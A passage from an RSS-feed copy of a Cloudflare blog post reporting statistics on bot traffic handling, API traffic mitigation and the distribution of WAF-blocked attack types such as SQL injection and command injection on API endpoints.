            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4bVBq57vLroeKB9eVsZZwx/cc061d55c22e31099796ec5dbbc1ae13/image4-17.png" />
            
            </figure><p>Tabular data for reference:</p><table><tr><td><p><b>Action on non-verified bot traffic</b></p></td><td><p><b>Percentage %</b></p></td></tr><tr><td><p>block</p></td><td><p>34.0%</p></td></tr><tr><td><p>log</p></td><td><p>28.6%</p></td></tr><tr><td><p>allow</p></td><td><p>14.5%</p></td></tr><tr><td><p>bypass</p></td><td><p>13.2%</p></td></tr><tr><td><p>managed_challenge</p></td><td><p>3.7%</p></td></tr></table><p>You’ll notice that almost 30% of customers log traffic rather than take immediate action. We find that many enterprise customers choose to not immediately block bot traffic, so they don’t give a feedback signal to attackers. Rather, they prefer to tag and monitor this traffic, and either drop at a later time or redirect to alternate content. As targeted attack vectors have evolved, responses to those attacks have had to evolve and become more sophisticated as well. Additionally, nearly 3% of non-verified bot traffic is automatically mitigated by our DDoS protection (<code>connection_close</code>). These requests tend to be part of botnets used to attack customer applications.</p>
    <div>
      <h2>API Traffic Insights</h2>
      <a href="#api-traffic-insights">
        
      </a>
    </div>
    <p>Many applications built on the Internet today are not meant to be consumed by humans. Rather, they are intended for computer-to-computer communication. The common way to expose an application for this purpose is to build an <a href="https://www.cloudflare.com/learning/security/api/what-is-an-api/">Application Programming Interface</a> (API) that can be accessed using HTTP.</p><p>Due to the underlying format of the data in transit, API traffic tends to be a lot more structured than standard web applications, causing all sorts of problems from a security standpoint. First, the structured data often causes <a href="https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/">Web Application Firewalls (WAFs)</a> to generate a large number of false positives. Secondly, due to the nature of APIs, they often go unnoticed, and many companies end up exposing old and unmaintained APIs without knowing, often referred to as “<a href="https://www.cloudflare.com/learning/security/api/what-is-shadow-api/">shadow APIs</a>”.</p><p>Below, we look at some differences in API trends compared to the global traffic insights shown above.</p>
    <div>
      <h3>10% of API traffic is mitigated</h3>
      <a href="#10-of-api-traffic-is-mitigated">
        
      </a>
    </div>
    <p>A good portion of bot traffic is accessing API endpoints, and <a href="/landscape-of-api-traffic/">as discussed previously</a>, API traffic is the fastest growing traffic type on the Cloudflare network, currently accounting for 55% of total requests.</p><p>API endpoints globally receive more malicious requests compared to standard web applications (10% vs 8%) potentially indicating that attackers are focusing more on APIs for their <a href="https://www.cloudflare.com/learning/security/what-is-an-attack-surface/">attack surface</a> as opposed to standard web apps.</p><p>Our DDoS mitigation is still the top source of mitigated events for API endpoints, accounting for just over 63% of the total mitigated requests. More interestingly, Custom WAF rules account for 35% compared to 19% when looking at global traffic. Customers have, to date, been heavily using WAF Custom Rules to lock down and validate traffic to API endpoints, although we expect our <a href="/api-gateway/">API Gateway</a> schema validation feature to soon surpass Custom WAF Rules in terms of mitigated traffic.</p>
    <div>
      <h3>SQLi is the most common attack vector on API endpoints</h3>
      <a href="#sqli-is-the-most-common-attack-vector-on-api-endpoints">
        
      </a>
    </div>
    <p>If we look at our WAF Managed Rules mitigations on API traffic only, we see notable differences compared to global trends. These differences include much more equal distribution across different types of attacks, but more noticeably, SQL injection attacks in the top spot.</p><p>Command Injection attacks are also much more prominent (14.3%), and vectors such as Deserialization make an appearance, contributing to more than 1% of the total mitigated requests.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/21TMW3iQhlB7ACYndt05Bc/5c9af753a8e3770710b0ec2e1a943597/image3-36.png" />
            
            </figure><p>Tabular data for reference:</p><table><tr><td><p><b>Source</b></p></td><td><p><b>Percentage %</b></p></td></tr><tr><td><p>SQLi</p></td><td><p>34.5%</p></td></tr><tr><td><p>HTTP Anomaly</p></td><td><p>18.2%</p></td></tr><tr><td><p>Vendor Specific CVE</p></td><td><p>14.5%</p></td></tr><tr><td><p>Command Injection</p></td><td><p>14.3%</p></td></tr><tr><td><p>XSS</p></td><td><p>7.3%</p></td></tr><tr><td><p>Fake Bots</p></td><td><p>5.8%</p></td></tr><tr><td><p>File Inclusion</p></td><td><p>2.3%</p></td></tr><tr><td><p>Deserialization</p></td><td><p>1.2%</p></td></tr><tr><td><p>Information Disclosure</p></td><td><p>0.6%</p></td></tr><tr><td><p>Other</p></td><td><p>1.3%</p></td></tr></table>
    <div>
      <h2>Looking ahead</h2>
      <a href="#looking-ahead">
        
      </a>
    </div>
    <p>In this post we shared some initial insights around Internet application security trends based on traffic to Cloudflare’s network. Of course, we have only just scratched the surface. Moving forward, we plan to publish quarterly reports with dynamic filters directly on <a href="https://radar.cloudflare.com/">Cloudflare Radar</a> and provide much deeper insights and investigations.</p> ]]></content:encoded>
            <category><![CDATA[Security Week]]></category>
            <category><![CDATA[Radar]]></category>
            <category><![CDATA[Security]]></category>
            <guid isPermaLink="false">6FcKafpaCrXCzPnuxpkqTS</guid>
            <dc:creator>Michael Tremante</dc:creator>
            <dc:creator>Sabina Zejnilovic</dc:creator>
            <dc:creator>David Belson</dc:creator>
        </item>
    </channel>
</rss>